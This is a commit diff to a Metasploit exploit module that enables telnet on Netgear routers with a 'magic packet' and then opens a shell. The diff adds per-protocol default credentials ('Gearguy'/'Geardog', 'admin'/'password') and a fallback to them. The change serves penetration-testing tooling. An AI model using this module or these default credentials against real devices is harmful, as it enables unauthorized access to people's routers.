Use default creds specific to protocol

modules/exploits/linux/telnet/netgear_telnetenable.rb

@@ -39,9 +39,19 @@ class MetasploitModule < Msf::Exploit::Remote
         }
       },
       'Targets'            => [
-        ['Automatic (detect TCP or UDP)', proto: :auto],
-        ['TCP (typically older devices)', proto: :tcp],
-        ['UDP (typically newer devices)', proto: :udp]
+        ['Automatic (detect TCP or UDP)',
+          proto:    :auto
+        ],
+        ['TCP (typically older devices)',
+          proto:    :tcp,
+          username: 'Gearguy',
+          password: 'Geardog'
+        ],
+        ['UDP (typically newer devices)',
+          proto:    :udp,
+          username: 'admin',
+          password: 'password'
+        ]
       ],
       'DefaultTarget'      => 0
     ))
@@ -49,13 +59,15 @@ class MetasploitModule < Msf::Exploit::Remote
     register_options([
       Opt::RPORT(23),
       OptString.new('MAC',      [true, 'MAC address of device']),
-      OptString.new('USERNAME', [true, 'Username on device', 'Gearguy']),
-      OptString.new('PASSWORD', [true, 'Password on device', 'Geardog'])
+      OptString.new('USERNAME', [false, 'Username on device']),
+      OptString.new('PASSWORD', [false, 'Password on device'])
     ])
   end
 
   def exploit
     @proto    = target[:proto]
+    @username = datastore['USERNAME'] || target[:username]
+    @password = datastore['PASSWORD'] || target[:password]
 
     # Detect TCP or UDP
     if @proto == :auto
@@ -71,6 +83,13 @@ class MetasploitModule < Msf::Exploit::Remote
       end
     end
 
+    # Try to use default creds
+    unless @username && @password
+      tgt = targets.find { |t| t[:proto] == @proto }
+      @username = tgt[:username]
+      @password = tgt[:password]
+    end
+
     # Shell it
     exploit_telnetenabled
     connect_telnetd
@@ -79,11 +98,7 @@ class MetasploitModule < Msf::Exploit::Remote
   def exploit_telnetenabled
     # Generate the magic packet
     print_status('Generating magic packet')
-    payload = magic_packet(
-      datastore['MAC'],
-      datastore['USERNAME'],
-      datastore['PASSWORD']
-    )
+    payload = magic_packet(datastore['MAC'], @username, @password)
 
     # Send the magic packet via TCP or UDP
     begin